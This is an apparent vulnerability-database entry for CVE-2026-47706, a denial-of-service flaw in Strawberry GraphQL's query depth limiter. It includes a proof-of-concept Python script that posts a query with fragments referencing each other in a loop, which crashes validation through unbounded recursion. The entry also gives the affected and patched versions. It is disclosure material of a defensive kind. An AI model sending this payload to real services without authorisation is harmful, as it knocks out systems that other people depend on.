{"id":"CVE-2026-47706","aliases":["GHSA-qfwv-87qj-98xq","PYSEC-2026-2283"],"title":"Strawberry GraphQL has a Circular Fragment Reference DOS","summary":"Strawberry GraphQL has a Circular Fragment Reference DOS","severity":"medium","cvss":5.3,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","vendor":"strawberry-graphql","product":"strawberry-graphql","ecosystem":"pip","affected":["strawberry-graphql >= 0.71.0, < 0.315.7"],"patched":["strawberry-graphql 0.315.7"],"published":"2026-06-04","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-qfwv-87qj-98xq","references":[{"url":"https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47706"},{"url":"https://github.com/strawberry-graphql/strawberry"},{"url":"https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"}],"tags":["osv","pip"],"epss":0.00296,"epssPercentile":0.22457,"ingestedAt":"2026-07-13T18:58:01.991Z","slug":"CVE-2026-47706","body":"## Overview\n\n### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -> User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -> B -> A -> B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools\n\n## Affected packages\n\n- `strawberry-graphql >= 0.71.0, < 0.315.7`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `strawberry-graphql 0.315.7`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}